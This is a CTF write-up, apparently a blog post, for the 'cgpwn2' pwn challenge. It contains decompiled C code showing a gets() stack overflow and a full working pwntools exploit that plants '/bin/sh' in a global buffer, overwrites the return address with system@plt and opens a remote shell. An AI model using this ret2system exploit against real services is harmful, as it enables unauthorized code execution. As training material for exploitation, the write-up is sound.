当前位置:网站首页>PWN attack and defense world cgpwn2
PWN attack and defense world cgpwn2
2022-07-02 00:00:00 【Day-3】

First , View the relevant contents of the file .
Throw in IDA View code in .
main function
int __cdecl main(int argc, const char **argv, const char **envp)
{
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
hello();
puts("thank you");
return 0;
}
hello function
char *hello()
{
__int16 *p_s; // eax
char v1; // bl
unsigned int v2; // ecx
__int16 *v3; // eax
__int16 s; // [esp+12h] [ebp-26h] BYREF
int v6; // [esp+14h] [ebp-24h] BYREF
p_s = &s;
v1 = 30;
if ( ((unsigned __int8)&s & 2) != 0 )
{
s = 0;
p_s = (__int16 *)&v6;
v1 = 28;
}
v2 = 0;
do
{
*(_DWORD *)&p_s[v2 / 2] = 0;
v2 += 4;
}
while ( v2 < (v1 & 0x1Cu) );
v3 = &p_s[v2 / 2];
if ( (v1 & 2) != 0 )
*v3 = 0;
puts("please tell me your name");
fgets(name, 50, stdin);
puts("hello,you can leave some message here:");
return gets((char *)&s);
}
We can do it in name String left in “/bin/sh”, Then stack overflow , obtain shell.

To write exp:
from pwn import *
context(os='Linux',arch="x86",log_level="debug")
bin_sh_addr = 0x0804A080
elf = ELF('cgpwn2')
system_addr = elf.plt["system"]
content = 0
def main():
global day3
if content == 1:
day3 = process("cgpwn2")
else:
day3 =remote("111.200.241.244",64520)
payload = b'a' * (0x26 + 4) + p32(system_addr) + b'aaaa'
payload = payload + p32(bin_sh_addr)
day3.recvuntil("please tell me your name\n")
day3.sendline("/bin/sh")
day3.recvuntil("hello,you can leave some message here:\n")
day3.sendline(payload)
day3.interactive()
main()
Finally get Flag.
边栏推荐
- Applet form verification encapsulation
- MySQL: the difference between insert ignore, insert and replace
- .env.xxx 文件,加了常量,却undefined
- 在长城证券上买基金安全吗?
- 深度学习 | 三个概念:Epoch, Batch, Iteration
- 2021 robocom world robot developer competition - preliminary competition of undergraduate group
- S32Kxxx bootloader之UDS bootloader
- [leetcode] length of the last word [58]
- ARP message header format and request flow
- Key points and difficulties of the course "information content security" at Harbin Institute of Technology
猜你喜欢

kubernetes资源对象介绍及常用命令(三)
![Jielizhi, production line assembly link [chapter]](/img/f8/20c41ffe9468d59bf25ea49f73751e.png)
Jielizhi, production line assembly link [chapter]

下载在线视频 m3u8使用教程

回顾数据脱敏系统
![Various global files related to [.Net core] program](/img/89/32623abf30d3dc92a3cdb1710a624f.png)
Various global files related to [.Net core] program

Why does blocprovider feel similar to provider?

边缘计算概述

The best smart home open source system in 2022: introduction to Alexa, home assistant and homekit ecosystem

Material Design组件 - 使用BottomSheet展现扩展内容(一)

Using uni simple router, dynamically pass parameters typeerror: cannot convert undefined or null to object
随机推荐
Pytorch learning record
【QT】Qt 使用MSVC2017找不到编译器的解决办法
[QT] qtcreator uninstall and installation (abnormal state)
kubernetes资源对象介绍及常用命令(三)
Deep learning | three concepts: epoch, batch, iteration
Depth first search and breadth first search of graph traversal
The difference between timer and scheduledthreadpoolexecutor
在代码中使用SqlCommand对象
.env.xxx 文件,加了常量,却undefined
TS初次使用、ts类型
Operate database transactions with jpatractionmanager
PostgreSQL source code (57) why is the performance gap so large in hot update?
安全协议重点
Similarities and differences between the defined identity execution function authid determiner and PostgreSQL in Oracle
【ES实战】ES上的安全性运行方式
2022-07-01: at the annual meeting of a company, everyone is going to play a game of giving bonuses. There are a total of N employees. Each employee has construction points and trouble points. They nee
vs2015 AdminDeployment. xml
MySQL Replication中并行复制怎么实现
Windows installation WSL (II)
Kubernetes resource object introduction and common commands (III)